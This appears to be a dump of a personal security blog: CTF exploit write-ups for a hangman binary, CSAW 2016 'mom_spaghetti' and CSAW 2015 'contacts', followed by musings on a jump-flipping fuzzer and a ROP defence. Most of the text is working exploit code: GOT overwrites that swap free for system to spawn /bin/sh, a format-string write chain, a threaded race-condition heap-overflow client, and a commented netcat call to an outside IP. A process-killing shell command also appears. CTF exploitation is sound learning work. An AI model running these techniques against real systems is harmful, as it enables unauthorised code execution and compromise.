letters = "abcdefghijklmnopqrstuvwxyz"
# intro
print hungman.recv()
hungman.sendline("B"*32) # send name
print hungman.recvline() # print welcome

def play_game(name="B"*32,should_change="y",shell=False):
 # raw_input('continue?')
 ret = ""
 for char in letters:
  line = hungman.recvline(timeout=1) # print progress
  print line + "bubbles"
  if "Default Highscore" in line:
   print "fuck"
   print hungman.recvuntil('?') # continu?
   hungman.send("y")
   break
  elif "High score!" in line:
   print "high"
   time.sleep(0.1)
   hungman.send(should_change + "\n")
   if should_change == "y":
    time.sleep(0.1)
    hungman.send(name)
    if shell:
     hungman.interactive()
   # hungman.interactive()
   ret =  hungman.recvuntil('?') # Highest player; cont?
   print ret
   hungman.send("y")
   break
  hungman.send(char) # send guess
 return ret



play_game()

# I like to do these a few times just to
# feel comfy :)
free_got = 0x0000000000602018
free_plt = 0x0000000000400800 # this jumps to what ^ that points to

# initially the got will point to free_plt + 6
# after we call free once the _dl_runtime_resolve
# will update the got to be the libc version of free
# from there I can work out system



# cmd = ";/bin/sh;;;;;"  "a"*16+ cmd + 
# play_game("B"*32 + "BBBB"*4 + "\x00"*4 + "\x20\x00\x00\x00")
# play_game("B"*32 + "BBBB"*4 + "\x00"*4 + "\x20\x00\x00\x00")
payload = 'cccccccccca;/bin/sh;cccccccccccc'
payload += "BBBB"*4 
payload += "\x00"*4 
payload += "\x08\x00\x00\x00" 
payload += p64(free_got)
payload += '\x01'*4*(4*7 +2) # win hangman
payload += '\x31\x00\x00\x00' # probs length of something
payload += '\x00\x00\x00\x00'
payload += "A"*(32-16)
# payload += "a" # buf .. or not
resp = play_game(payload) # +1 for local because free has a null at the start
print resp
index = resp.index("Highest player: ") + len("Highest player: ")
# free_libc_live = u64('\x00' + resp[index:index +5] + '\x00\x00')
# free_libc_live = u64(resp[index:index +6] + '\x00\x00')

# free_libc_live = int(raw_input("enter free libc").rstrip(),16)
# local
free_libc_live = 0x7ffff7aad600
system_libc = 0x0000000000041490
free_libc =   0x000000000007c600
 
# free_libc =   0x0000000000083a70 # <__libc_free>:
# system_libc = 0x0000000000045380 # <__libc_system>:

system_libc_live = free_libc_live + (system_libc - free_libc)

print hex(free_libc_live)
print hex(system_libc_live)
# raw_input("did you work out system?")
play_game(should_change="n")
# cmd = ";/bin/nc 52.62.52.196 1337"
# cmd = ";/bin/sh"
play_game(p64(system_libc_live),shell=True) # write system to free
play_game(should_change="n")
play_game(should_change="n")
# play_game("B"*32 + "BBBB"*4 + "\x00"*4 + "\x20\x00\x00\x00")
play_game()
play_game()
play_game()
play_game()
play_game()
play_game()
play_game()
play_game()
play_game()
play_game()
play_game()
print 'yay'

# print 'yay'
# play_game()
# print 'yay'


#hungman.sendline('A'*4)
hungman.interactive()


flag{this_looks_like_its_a_well_hungman}

CSAW 2016 pwn 500 mom_spaghetti (DRAFT)

It's currently 8am and CSAW has just finished.
I'm doing remarcably wel fur ony a btf sleeeeeep ZzZZzzz


This is my braindump/thoughts on the challenge that I made during the competition.
I'll polish this up when I am a) not sleep deprived, and b) can be bothered :)

thinking.txt

the environment variable
SPAGHETTI_SETUP_COMMAND
runs a command on start up



on the first byte sent

if ( s[0] <= 'c' )

make s[0] many threads

printf '\x06\x00\xff\x10' | nc localhost 24242

make 6 threads
processing 127.0.0.1:4351 <-- p="" x10="" xff="">

need to deal with this bit's foolery

int output(char *format, ...)
{
  unsigned __int16 v1; // ax@1
  va_list va; // [sp+24h] [bp+Ch]@1

  va_start(va, format);
  v1 = pthread_self();
  printf("%s %04x ", "MOMS_SPAGHETTI", v1);
  return vprintf(format, va);
}
hmmmm



struct sockaddr {
    unsigned short    sa_family;    // address family, AF_xxx
    char              sa_data[14];  // 14 bytes of protocol address
};



0xf7dea2f0: 0xf7deab40f7400010 0xff100002f7dea358
0xf7dea300: 0x000000000100007f 0x0000000500000000



nc -l -p blah


    v3 = recv(fd, s, 8u, 0);
      if ( v3 == 8 )




need to send it 8


first 4 bytes need to be 1
first 8 bytes need to be < 0x40000000



buf = (int)malloc(n + 8);
need n to be giganormous
so that it overflows +8 and mallocs a small area


so that
if ( sock_recv(fd, bufa, n) )
reads in heaps


0xf7400468: 0x44434241 0x48474645


0x4847464544434241




moving into buf
0xf7400478: 0x44434241 0x00000000 0x00000000 0x00000000
0xf7400488: 0x00000000 0x00020b79 0x00000000 0x00000000



CD is like an internal pointer






=> 0x804920d : push   eax
   0x804920e : push   DWORD PTR [ebp-0x14]
   0x8049211 : push   DWORD PTR [ebp-0xc]
   0x8049214 : call   0x8048e37


arg[0]: 0x5  #fd
arg[1]: 0xf74048c3 --> 0x0  # bufa + 'CD'
arg[2]: 0x48474645 ('EFGH')









    memset(bytesRead, 0, 8u);
      numBytesRead = recv(fd, bytesRead, 8u, 0);
      if ( numBytesRead == 8 )
      {
        if ( *(_WORD *)bytesRead == 1 )         // BA = 00 01
        {
          if ( *((_DWORD *)bytesRead + 1) <= 0x40000000u )// HGFE <= 0x40000000
          {
            n = *((_DWORD *)bytesRead + 1) + *((_WORD *)bytesRead + 1);// = HGFE + DC
            buf = (int *)malloc(n + 8);         // 8 + CD + EFGH
            if ( buf )
            {
              v1 = *((_DWORD *)bytesRead + 1);
              *buf = *(_DWORD *)bytesRead;
              buf[1] = v1;
              free(bytesRead);
              bytesRead = buf;                  // abcdefgh01234567
              bufa = buf + 2;                   //         01234567
              if ( sock_recv(fd, bufa, n) )     // read EFGH+CD much into bufa
                output("[thread] failed to read %i bytes\n", n);
              buf = (int *)((char *)bufa + *((_WORD *)bytesRead + 1));// bufa + CD
              process_request(fd, (int)buf, *((_DWORD *)bytesRead + 1));
              sock_send(fd, " DONE", 5u);
            }
            else




v11 = parse_opcode((int)mem, memSize, (int)&s, 256);


=> 0x8048d6e : call   0x8048cca
   0x8048d73 : add    esp,0x10
   0x8048d76 : mov    DWORD PTR [ebp-0x10],eax
   0x8048d79 : cmp    DWORD PTR [ebp-0x10],0x0
   0x8048d7d : jne    0x8048d99
Guessed arguments:
arg[0]: 0xf7400488 ("ABCDEFGHIJKLMNOP")
arg[1]: 0xf7dea1c8 --> 0xab40
arg[2]: 0xf7fb2000 --> 0x18e98



(printf '\x01\x00\x08\x00\x10\x00\x00\x0001234567\x82BCDEFGHIJKLMNOP';cat) | nc -klvv -p 4351

x82

the right nibble of that
tellls how many opcodes to use



 (printf '\x01\x00\x08\x00\x10\x00\x00\x0001234567\x04HintBCDEFGHIJKLMNOP';cat) | nc -klvv -p 4351


 (printf '\x01\x00\x08\x00\x10\x00\x00\x0001234567\x04HintBCDEFGHIJKLMNOP';cat) | nc -klvv -p 4351



 '\x01\x00<CD><EFGH><CD_many_things><EFGH_many_things>'


{<EFGH_many_things>} = 
<X><X_many_things> for X < 0x80
or
<0xmn><n_many_things><int(n1,n2,n3,n4)_many_things> for m = 8 , n = 1,2,3,4

00ff == 256

<-- p="" x10="" xff="">


08
0000000040
1073741832
ffff
0000000040
1073807359



        # returnThing = "0100080003010000414141414141414181010145414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141".decode('hex')



very interesting



        returnThing = "0100080003010000414141414141414181010445414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141".decode('hex')


Server Said: \x04 INVALID REQUEST!  DONE

fuck yes
lol no..








I'm thinking its a race condition


gdb-peda$ x/32wx 0xf6c00400
0xf6c00400: 0xf6c003f8  0xf6c003f8  0xf6c00400  0xf6c00400
0xf6c00410: 0xf6c00408  0xf6c00408  0xf6c00410  0xf6c00410
0xf6c00420: 0xf6c00418  0xf6c00418  0xf6c00420  0xf6c00420
0xf6c00430: 0xf6c00428  0xf6c00428  0xf6c00430  0xf6c00430
0xf6c00440: 0x00000000  0x00000000  0x00000000  0x00000000
0xf6c00450: 0xf7792420  0x00000000  0x00021000  0x00021000
0xf6c00460: 0x00000000  0x00000015  0x00000000  0x00000000
0xf6c00470: 0x00000000  0x00020b91  0x00000000  0x00000000
gdb-peda$ x/32wx 0xf6c00400
0xf6c00400: 0xf6c003f8  0xf6c003f8  0xf6c00400  0xf6c00400
0xf6c00410: 0xf6c00408  0xf6c00408  0xf6c00410  0xf6c00410
0xf6c00420: 0xf6c00418  0xf6c00418  0xf6c00420  0xf6c00420
0xf6c00430: 0xf6c00428  0xf6c00428  0xf6c00430  0xf6c00430
0xf6c00440: 0x00000000  0x00000000  0x00000000  0x00000000
0xf6c00450: 0xf7792420  0x00000000  0x00021000  0x00021000
0xf6c00460: 0x00000000  0x00000015  0x00010001  0x00000002
0xf6c00470: 0x00000000  0x00020b91  0x00000000  0x00000000







next plan

fuck up this shit
0xf6c00480: 0x00000000  0x00020b81





New game plan


run 2 threads
tell the thing to expect some data and then make them wait
      numBytesRead = recv(fd, bytesRead, 8u, 0);
      if ( numBytesRead == 8 )
      {
        if ( *(_WORD *)bytesRead == 1 )         // BA = 00 01 unsigned
        {
          if ( *((_DWORD *)bytesRead + 1) <= 0x40000000u )// HGFE <= 0x40000000 unsigned
          {
            n = *((_DWORD *)bytesRead + 1) + *((_WORD *)bytesRead + 1);// = HGFE + DC
            buf = (int *)malloc(n + 8);         // 8 + CD + EFGH
            if ( buf )
            {
              v1 = *((_DWORD *)bytesRead + 1);
              *buf = *(_DWORD *)bytesRead;
              buf[1] = v1;
              free(bytesRead);
              bytesRead = buf;                  // abcdefgh01234567 0-7 == CD section
              bufa = buf + 2;                   //         01234567
              if ( sock_recv(fd, bufa, n) )     // read EFGH+CD much into bufa


you can hold program execution at the sock_recv and recv




practice manually fucking shit up

just before the malloc write to everywhere it will use



wtf happens here?
=> 0x8049201 :  add    DWORD PTR [ebp-0x14],eax


omg getting excited agian

I need to give small efgh and cd == about 3 to make buf that other thing in memorry maybe


what if I had 4 CDs! and 0 efgh

0xf6c00480: 0x00450141  0x00020b81



process_request(int fd, void *mem, int memSize)
process_request(int fd, &weirdShit, 0)



this is fucking glorious



0x8048d6e :  call   0x8048cca


0x00020b81
that


omg omg omg

   if ( *(_DWORD *)opLen <= (unsigned int)theRestLen )// unsigned
    {
      if ( *(_DWORD *)opLen + 1 <= stackBufLen )// signed


it's unsigned
so it's all sweet as

the signed one should be fine too


   if ( *(_DWORD *)opLen <= (unsigned int)theRestLen )// unsigned
    {
      if ( *(_DWORD *)opLen + 1 <= stackBufLen )// signed
      {
        opsLeft = *(_DWORD *)opLen;
        while ( 1 )
        {
          v7 = opsLeft--;
          if ( v7 <= 0 )
            break;
          v9 = *(_BYTE *)theRest;
          if ( v9 == -128 )
            return 0;
          v5 = stackBuf++;
          v6 = theRest++;
          *(_BYTE *)v5 = *(_BYTE *)v6;

then it does the copy

I should be able to malloc something directly after my little block
and then copy whatever I like into stackbuf


if opLen is ffff
then oplen +1 will be 0 which is less than stackBuffLen
that lets me overflow stackbuff

I'll also need to coordinate another thread to park some data in the heap there





k so turns out that you could get anything this way
which is good news

I'll spam a bunch of threads

at the start of each thread I'll put the payload I want for the opcode thing

84ffffffff

with that payload len theRestLen will be
-5

ff -1
fe -2
fd -3
fc -4
fb -5 <- p="" that="">
when I did it with my fluke bytes I got
0xfffffffe
so with my crafted payload I'll get
0xfffffffb

need oplen to be less that that
so the payload will have to be

84fffffffc at a max, which is a pretty generous upper limmit

at a minimum it has to be



7b40

      if ( v9 == 0x80u )
            return 0;

the hacking gods are in my favour
also I can put an 0x80 in shit and bail early once I've done the payload




    def generateResponse(self):


        opcodeData = self.opcodeData("E")
        CD = 2
        CD += self.num*4
        # EFGH = len(opcodeData)
        EFGH = 0
        returnThing = "\x01\x00" # version
        returnThing += p16(CD+2)
        returnThing += p32(EFGH)
        returnThing += "\x01T"
        returnThing += "\x80" * CD
        # returnThing += opcodeData
        # print returnThing.encode('hex')

        return returnThing


Server Said: T 57DEA1B2 DONE


using the "\x01T" left over from another use! woo



    def generateResponse(self):


        opcodeData = self.opcodeData("E")
        # CD = 0
        if self.num %2 == 0:
            CD = self.num*4
            # EFGH = len(opcodeData)
            EFGH = 0
            returnThing = "\x01\x00" # version
            returnThing += p16(5 + 13*4 + CD)
            returnThing += p32(EFGH)
            returnThing += "\x81\xff\xff\xff\xfa" # load big oplen for other thread
            returnThing += "A"*4
            returnThing += "B"*4
            returnThing += "C"*4
            returnThing += "D"*4
            returnThing += "E"*4        # stack overridding
            returnThing += "F"*4
            returnThing += "G"*4
            returnThing += "H"*4
            returnThing += "I"*4
            returnThing += "J"*4
            returnThing += "K"*4
            returnThing += "L"*4
            returnThing += "\x80"*4 # stop coppying
            returnThing += "A" * CD
            # returnThing += opcodeData
            # print returnThing.encode('hex')
            return returnThing

        else:
            CD = self.num*4
            # EFGH = len(opcodeData)
            EFGH = 0
            returnThing = "\x01\x00" # version
            returnThing += p16(CD)
            returnThing += p32(EFGH)
            returnThing += "A" * CD
            # returnThing += opcodeData
            # print returnThing.encode('hex')

            return returnThing





#theBestXD
    def generateResponse(self):


        opcodeData = self.opcodeData("E")
        # CD = 2
        CD = self.num
        # EFGH = len(opcodeData)
        EFGH = 0
        returnThing = "\x01\x00" # version
        returnThing += p16(CD*4)
        returnThing += p32(EFGH)
        returnThing += "\x01T\x01T"*CD
        # returnThing += "\x80" * CD
        # returnThing += opcodeData
        # print returnThing.encode('hex')

        return returnThing



copy_length + 1 > output_buffer_size

yay it works
nay it's hitting the thing

thinking send one then two and hold on the first recv
release 2 first so that it lines up



pause A till B leaves


0xf6200460: 0x00000000  0x00000015  0x00000000  0x00000000
0xf6200470: 0x00000000  0x00000015  0x00040001  0x00000000
0xf6200480: 0x42424242  0x00020b81  0x00000000  0x00000000



continue..

0xf6200460: 0x00000000  0x00000015  0x00000000  0x00000000
0xf6200470: 0x00000000  0x00000015  0xf6200460  0x00000000
0xf6200480: 0x42424242  0x00020b81  0x00000000  0x00000000


0xf6200440: 0x00000000  0x00000000  0x00000000  0x00000000
0xf6200450: 0xf6400010  0x00000000  0x00021000  0x00021000
0xf6200460: 0x00000000  0x00000015  0x00040001  0x00000000
0xf6200470: 0x00000000  0x00020b91  0x00000000  0x00000000
0xf6200480: 0x00000000  0x00000000  0x00000000  0x00000000







12 rows
6 blocks
3 extra

100 + 3 + 4*6 + 4*4*12


0xf59fe230: 0x41414141  0x41414141  0x41414141  0x41414141
0xf59fe240: 0x00000041  0x00000000  0x00000000  0x00000000
0xf59fe250: 0x00000000  0x00000000  0x00000000  0x00000000
0xf59fe260: 0x00000000  0x00000000  0x00000000  0x00000000
0xf59fe270: 0x00000000  0x00000000  0x00000000  0x00000000
0xf59fe280: 0x00000000  0x00000000  0x00000000  0x00000000
0xf59fe290: 0x00000000  0x00000000  0x00000000  0x00000000
0xf59fe2a0: 0x00000000  0x00000000  0x00000000  0x00000000
0xf59fe2b0: 0x00000000  0x00000000  0x00000000  0x00000000
0xf59fe2c0: 0x00000000  0x00000000  0x00000000  0x00000000
0xf59fe2d0: 0x00000000  0x00000000  0x00000000  0x00000000
0xf59fe2e0: 0x00000000  0x00000000  0x00000000  0x00000000
0xf59fe2f0: 0x00000000  0x00000000  0x00000000  0x00000000
0xf59fe300: 0x0100007f  0x00000000  0x00000006  0x00000006
0xf59fe310: 0x00000000  0xf59feb40  0xf59fe358  0x08049219





0xec3f0200: 0x41414141  0x020b7941  0x65000100  0x00000001
0xec3f0210: 0xffff8100  0x4141faff  0x41414141  0x41414141
0xec3f0220: 0x41414141  0x41414141  0x41414141  0x41414141
0xec3f0230: 0x41414141  0x41414141  0x41414141  0x41414141
0xec3f0240: 0x00000041  0x00000000  0x00000000  0x00000000
0xec3f0250: 0x00000000  0x00000000  0x00000000  0x00000000
0xec3f0260: 0x00000000  0x00000000  0x00000000  0x00000000
0xec3f0270: 0x00000000  0x00000000  0x00000000  0x00000000
0xec3f0280: 0x00000000  0x00000000  0x00000000  0x00000000
0xec3f0290: 0x00000000  0x00000000  0x00000000  0x00000000
0xec3f02a0: 0x00000000  0x00000000  0x00000000  0x00000000
0xec3f02b0: 0x00000000  0x00000000  0x00000000  0x00000000



why the fuck are they leaving!

        opsLeft = *(_DWORD *)opLen;
        while ( 1 )
        {
          v7 = opsLeft--;
          if ( v7 <= 0 )
            break;
          v9 = *(_BYTE *)theRest;
          if ( v9 == 0x80u )
            return 0;
          v5 = stackBuf++;
          v6 = theRest++;
          *(_BYTE *)v5 = *(_BYTE *)v6;
        }
        result = *(_DWORD *)opLen;
      }
      else
      {



8048E30

A block is likely to get the same as a previous block so I should set up
one thats like



Junk
Junk
Junk
Goodshit

and then malloc a spot so that it fits in

payloads = [
    "A"*128 + "\x81\x00\x00\x02\xff" + '\xff'*(128 + 3 + 4*6 + 4*4*12) + "CCCC",
    "B"*(128)
]

becomes:

payloads = [
    "A"*128 + "\x84\x00\x00\x02\xff" + '\xff'*(128 + 3 + 4*6 + 4*4*12) + "CCCC",
    "B"*(128)
]


lol


0x1ffff7f

    "A"*(126) + "\x84\x7f\xff\xff\xff" + 'A'*10 + "0x80",






#!/usr/bin/env python
import SocketServer
from pwn import *
from sys import stdin, stdout, argv
from struct import pack
from os import urandom, system
from time import *
THREADS = ord("c") # 99

REMOTE_SERVER = "localhost"
REMOTE_PORT   = 24242


# REMOTE_SERVER = "pwn.chal.csaw.io"
# REMOTE_PORT   = 8004

SOCKET_SERVER = "0.0.0.0"
SOCKET_PORT   = 6001 #int(sys.argv[1])

numThreads = 16
thread = 0
# threadList = [None for x in xrange(numThreads)]

# opcodes = [
#     "\x83\x00\x00\xff",
#     "\x84\xff\xff\xff\xfa",
#     "\x84\xff\xff\xff\xfa678",
#     "\x84\x80\x00\x00\x00",
#     "\x84\x83\x82\x81\xff"
# ]

# payloads = [
#     "\x01T"*0x7fff,
#     "AAAA"
# ]

# EABE was the
# payloads = [
#     "\x04EAAA"*64,
#     "\x04EBBB",
#     "\x04ECCC",
#     "\x04EDDD",
#     "\x04EAEE\x04EABE\x04EABC\x04EABC\x04EABC\x04EABC\x04EDBC\x04EDEC\x04EDEF\x04EDEF\x04EDEF\x04EAEF\x04EABF\x04EABC\x04EABC\x04EABC\x04EABC\x04EABC\x04EEBC\x04EEEC\x04EEEE\x04EEEE\x04EEEE\x04EEEE\x04EEEE\x04EEEE\x04EEEE\x04EEEE\x04EEEE\x04EEEE\x04EEEE\x04EEEE\x04EEEE\x04EEEE\x04EEEE\x04EEEE\x04EEEE\x04EEEE\x04EEEE\x04EEEE\x04EEEE\x04EEEE\x04EEEE\x04EEEE\x04EEEE\x04EEEE\x04EEEE\x04EEEE\x04EEEE\x04EEEE\x04EEEE\x04EEEE\x04EEEE\x04EEEE\x04EEEE\x04EEEE\x04EEEE\x04EEEE\x04EEEE\x04EEEE\x04EEEE\x04EEEE\x04EEEE\x04EEEE"
# ]
# payloads = [
#     "\x81\x00\x00\x02\xff" + '\xff'*(128 + 3 + 4*6 + 4*4*12) + "BBBB"*100,
#     "\x81\x00\x00\x02\xff",
#     ""
# ]
    # "B"*(128) + "BBBB" lines up wiht that weird thing
payloads = [
    "A"*(126 + 5 + 10 + 1 + 100),
    "A"*(126) + "\x84\x7f\xff\xff\xff" + 'A'*10 + "0x80",
    "B"*(126)
]

# thinking logically about this 

# spray E's everywhere
# ... or not that was stupid 


# payloads = [chr(a)*4 for a in range(ord('A'), ord('Z')+1)]


header = lambda c: "\x01\x00"+p16(len(c))+p32(0)


# if special:
#     returnThing += "\x84\xff\xff\xff\xfa678"*CD
#     # returnThing += "\x80"*4
# else:
#     returnThing += "\x84\xff\xff\xff\xf067\x80"*CD
# returnThing += opcodeData
# print returnThing.encode('hex')

# return returnThing

class TCPHandler(SocketServer.BaseRequestHandler):

    def serverResponse(self, response):
        # if "T" in response:
        #     print "yep"

        stdout.write("\033[1;36mServer Said: \033[39m{}\033[0m\n".format(response.encode('hex')))
        stdout.write("\033[1;36mServer Said: \033[39m{}\033[0m\n".format(response))
        stdout.flush()

    def handle(self):
        global thread
        payload = payloads[thread%len(payloads)]
        thread += 1
        # b = thread
        # if thread%2 == 0:
        #     sleep(0.0015)
            # raw_input('continue?')
        # sleep(b * 0.001)
        # send the header and then wait
        if thread < 5 or thread > 14:
            sleep(0.1*thread)
        package = header(payload) + payload

        # print package.encode('hex')
        self.request.sendall(package)
        recieved = self.request.recv(1024)
        self.serverResponse(recieved)

# Create server and bind
server = SocketServer.ThreadingTCPServer(("0.0.0.0",SOCKET_PORT),TCPHandler)


# Initialise remote client
rmsrv = remote(REMOTE_SERVER, REMOTE_PORT)
clientData = pack("<HH", numThreads, SOCKET_PORT)
rmsrv.sendline(clientData)
rmsrv.close()

server.allow_reuse_address=True

# for x in range(numThreads):
# server.handle_request()
server.serve_forever()

server.server_close()



os.system("/etc/init.d/networking restart")
os.system("netstat -pant | grep mom | grep -v LISTEN | cut -d\   -f 36 | sed 's/\/.*//g' | xargs kill -9")



print 







































Wednesday 14 September 2016

Local Race Condition TOUTOC finder

Just thought I'd briefly jot down a thought I had on making a racecondition finder:

-Use the #YOLOFuzZ framework to watch all opens and read to find temporary files that a program uses and then determine if they can be changed to cause bugs/vulns

Saturday 10 September 2016

CSAW 2015 PWN Contacts

This was a fun challenge, it had a buffer overflow and a format string vuln.

I attacked this with just the format string because I thought it would add a bit of a fun challenge.

The vuln prints a user controlled string but the string is in the heap so we can't use the usual put-the-address-you-want-to-write-to-at-the-start trick

Hmm fun times ensure ;)

Here is a gdb-peda dump of the stack just before calling the format string 
0000| 0xffa60800 --> 0x9b9a068 ("payload")
0004| 0xffa60804 --> 0x9b9a058 ("1234") <- font="" nbsp="" phone="">
0008| 0xffa60808 --> 0xf7638dab 
0012| 0xffa6080c --> 0xf7790000 --> 0x1a8da8 
0016| 0xffa60810 --> 0x0 
0020| 0xffa60814 --> 0x0 
0024| 0xffa60818 --> 0xffa60848 --> 0xffa60878 --> 0x0 

This is the interesting one
0024| 0xffa60818 --> 0xffa60848 --> 0xffa60878 --> 0x0 

at offset 6 (i.e %6$x) we get a pointer 0xffa60848 to a pointer 0xffa60878 that points to somewhere that's also reachable on the stack.

This is good news.


I can use the first offset/address/thing to change the least significant byte of the second offset/address/thing.
Using that I can change the second offset to the following values:
0xffa60878
0xffa60879
0xffa6087a
0xffa6087b
and each time I do that I can use that offset (18) to write a full word (one byte at a time) of whatever I like to a spot that is also on the stack (0xffa60878: offset 30)

I wrote the address of free@plt (0x0804b014) to offset 30, then using the same ninja-wiggle-byte trick I update the least significant byte of offset 30 which now points to free@plt to get the following values
0x0804b014
0x0804b015
0x0804b016
0x0804b017
and each time I do that I can use that offset (30) to write a full word (one byte at a time) of whatever I like to the plt entry of 'read'

I choose system() (which I can easily leak from the stack)

Create new contact with name and description "/bin/sh", "/bin/sh"
and then remove it, which will call free("/bin/sh") which will actually call system("/bin/sh")

boOM!shell Popped




#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
import sys

from struct import pack, unpack
from functools import partial
with open('payload', 'w') as f:
	f.write('')

def send(conn, line):
	conn.sendline(line)

	with open('payload', 'a') as f:
		line += '\x0a'
		f.write(line)

conn = process("./contacts_54f3188f64e548565bc1b87d7aa07427")

current_val = 0

def set_cur_val(a):
	global current_val
	gets_to_zero = 256 - current_val # add this to get to 0x00
	gets_to_destination = gets_to_zero + a # add this to get to where you want to be
	inc = gets_to_destination%256 # adding > 256 is the same as adding 0 so mod 256
	current_val = a
	if inc == 0: # %0c is the same as %1c so if it's 0 difference then just print nothing
		return "" 
	return "%1$0" + str(inc) + "c" 

def decompose_data(data):
	hexStr = hex(data)[2:][::-1] # little endian
	byteList = [ hexStr[i:i+2][::-1] for i in xrange(0, len(hexStr), 2) ]
	bytes = [int(x,16) for x in byteList]
	return bytes

def off_write(offset, byte):
	"""
		Use this stack addres offset, to write a byte
	"""
	global current_val
	payload = set_cur_val(byte)
	payload += "%{0}$hhn".format(offset)
	return payload

def write_and_prep_next(offsets, byte, next_lsb):
	"""
		|can't change|  |change LSB|  |full control|
		|____________|__|__________|__|____________|
		|   offset1  |->|  offset2 |->|  offset3   |
		____________________________________________

		use offset1 to change the LSB of offset2
		use offset2 to change all the bytes of offset3
		use offset3 to write wherever
	"""
	global current_val
	current_val = 0
	# write the current value
	payload = off_write(offsets[1], byte)
	# prepare our wiggle ninja pointer for the next format string
	payload +=off_write(offsets[0], next_lsb)

	return payload

def payload_chain(offsets, address, data):
	lsbAddr3 = decompose_data(address)[0]
	bytes = decompose_data(data)
	payload = partial(write_and_prep_next, offsets=offsets)
	next_lsbs = [lsbAddr3 + x for x in [1,2,3,0]]
	arr = [payload(byte=b, next_lsb=l) for b,l in zip(bytes,next_lsbs)]
	return arr


def createContact(name, description):
	send(conn, "1")
	send(conn, name) # name
	send(conn, "1337") # number
	send(conn, str(len(description))) # len of description
	send(conn, description)


def remove_contact(name):
	send(conn, "2")
	send(name)

createContact("Leak", "Libc:%2$p:::Stack:%18$p;;;")

send(conn, "4")
response = conn.recvuntil(';;;')

libc_leak = int(response[response.index('Libc:')+5 : response.index(':::')],16)
stack_leak= int(response[response.index('Stack:')+6: response.index(';;;')],16)

system = libc_leak - 20083 -60248
free_plt = 0x0804b014

def setup_chain(offsets, address, data):
	for load in payload_chain(data=data, offsets=offsets, address=address):
		createContact("Hack", load) 

offset3_addr = stack_leak
# 6 fiddles 18 to write free_plt into 30
setup_chain([6,18],  address=offset3_addr, data=free_plt) # create the contacts
# 18 fiddles 30 to write system into free_plt
setup_chain([18,30], address=free_plt, data=system) # create the contacts

createContact("/bin/sh", "/bin/sh")
send(conn, "4") # execute format string
send(conn, "2") # edit 
send(conn, "/bin/sh") # edit AAAA
conn.recvuntil(">>> Name to remove?")
conn.interactive()




Friday 9 September 2016

YOLOFuzZ

#showerthoughts

A fuzzer that flips jump instructions in a program to force greater code coverage.


Is this a shit idea?
Probably, but lets think about it anyway

For each crash we'd produce a stack trace and a trace of jmp instructions noting which ones were changed.


Initial thoughts are that there are going to be lots of crashes. Each crash is going to take a fair bit of effort to work out if it's worth investigating.


OPTIMISATION?

Yeah ok, so I could sort the gazillion crashes by "depth" and "amount changed". Prioritising crashes that got deep into the code and required the fewest changes.

I'll have to compile the program with all those 'unroll loop' options in gcc, convert shit to memcpy's if I can and probably ignore jmps in library calls.


Ok so now this is actually sounding like it might work.


Analysis stage:

When I find a nice deep crash that only has a couple of jump flips the next stage is to find out how to change the input to legitimately hit that crash.


1) Analyse the compare instruction before the jump.
    - Back trace and find the input bytes being compared
    - Add the byte/strcmp string to a list of fuzz shit

2) Fuzz the input till it trips the jmp.



Fuzz Mapp:
Fuzz small chunks (or even individual bytes) to find the ones that have no effect on the code path and note the values required to get our current code path from the ones that do.


FuzzFlip:

Get the bytes/strings compared around jmp instructions and add those to our bucket of things to chose from when fuzzing.




The more that I think about this the more I'm thinking that it would be a beast of a fuzzer.


Example:

#include <stdio.h>
#include <string.h>
int main(int argc, char *argv[]){
 
 if (strcmp(argv[1], "MAGIC_OMG_SECRET_KEY")){
  // Super cool code segment
 }

 return 0;
}



Most fuzzers would get fuzked over by something like this. But YOLOFuzZ™ would be like "Yolo! Let's just do this anyway!XD!" and it'd go have a fun time.



Thinking about it seriously

Now that I think about, instead of aiming for crashes, it could simply aim for code coverage. Really a program can kinda be thought of as a graph where nodes are code segments and jmps are like edges.

Here's what I'm thinking.

I run the fuzzer and for every block of code it hits it saves the trail jmps modified to get there. If there is already a path that gets there then continue from the one that uses fewer changed jumps. Essentially using Dijkstra's algorithm to find code coverage.

Once it's got 100% coverage, take the most commonly needed flipped jmps and start trying to find legit ways to hit them. I'll probably want to hang on to all the different ways to hit a function incase the shortest one doesn't work.

To find valid ways of hitting the jumps, analyse the comparison instructions that precede the jump. We tackle this part in two directions, from our input and from the program. Find our input and find what it's comparing it against (I know it's not that simple but a lot of cases fall under this).

- Search for any matches that occur in our input, change them, run again and see if they reach the comparison. 
- Backtrace and mark out regions of memory, look what goes there, where does that come from etc..
- Look for string comparisons, constants, global variables etc.
Fuzz all of the above until we get past our jump. 
Continue adding to the possible paths in the program.

At this point we have a bazillion different ways to reach various code segments and we'll undoubtably have a bunch of crashes. This gives us heaps of attack vectors and interesting spots to attack. Pick somewhere that looks interesting and start applying some human-smarts into changing the input so that it can hit that target.

You could even apply this in reverse. Find an interesting code segment and then point YOLOFuzZ at it and you can then find a way to tweak the input to get there.

Actually implementing this would be a fairly big task. I reckon I could get something pretty simple working if I put a few weekends to it. The backtracing etc would be the hardest that has like infinite scope.

I'd make it as modular as possible and have it so that I could easily add an analysis module that dumps where the jumps hit. That way, the module can return possible input that will trip the jump. Such flexible :)

Another trek of a job is the testing harness, that's a super crucial part of any fuzzer.

Another Idea for a fuzzer. Generate all possible inputs! Every if statement, fork off and go down both, generating the required input as needed mwahahaha. Ok that's enough fuzzy thinking for now, I'll save analysis of that idea for another day. 


PS: as a bonus, this fuzzer would also crack a lot of software





Sunday 4 September 2016

RET_CHK: Protect against ROP exploits

I was exploiting a ctf challenge that required a ROP chain recently and I had an idea that would make ROP exploitation impossible (or way more complicated at the very least)

Background:

There are a number of protections in place to protect against exploiting buffer overflows, NX stack, ASLR and Stack cookies are the main ones. (If you're not sure what they are, let me introduce you to my friend google.com)

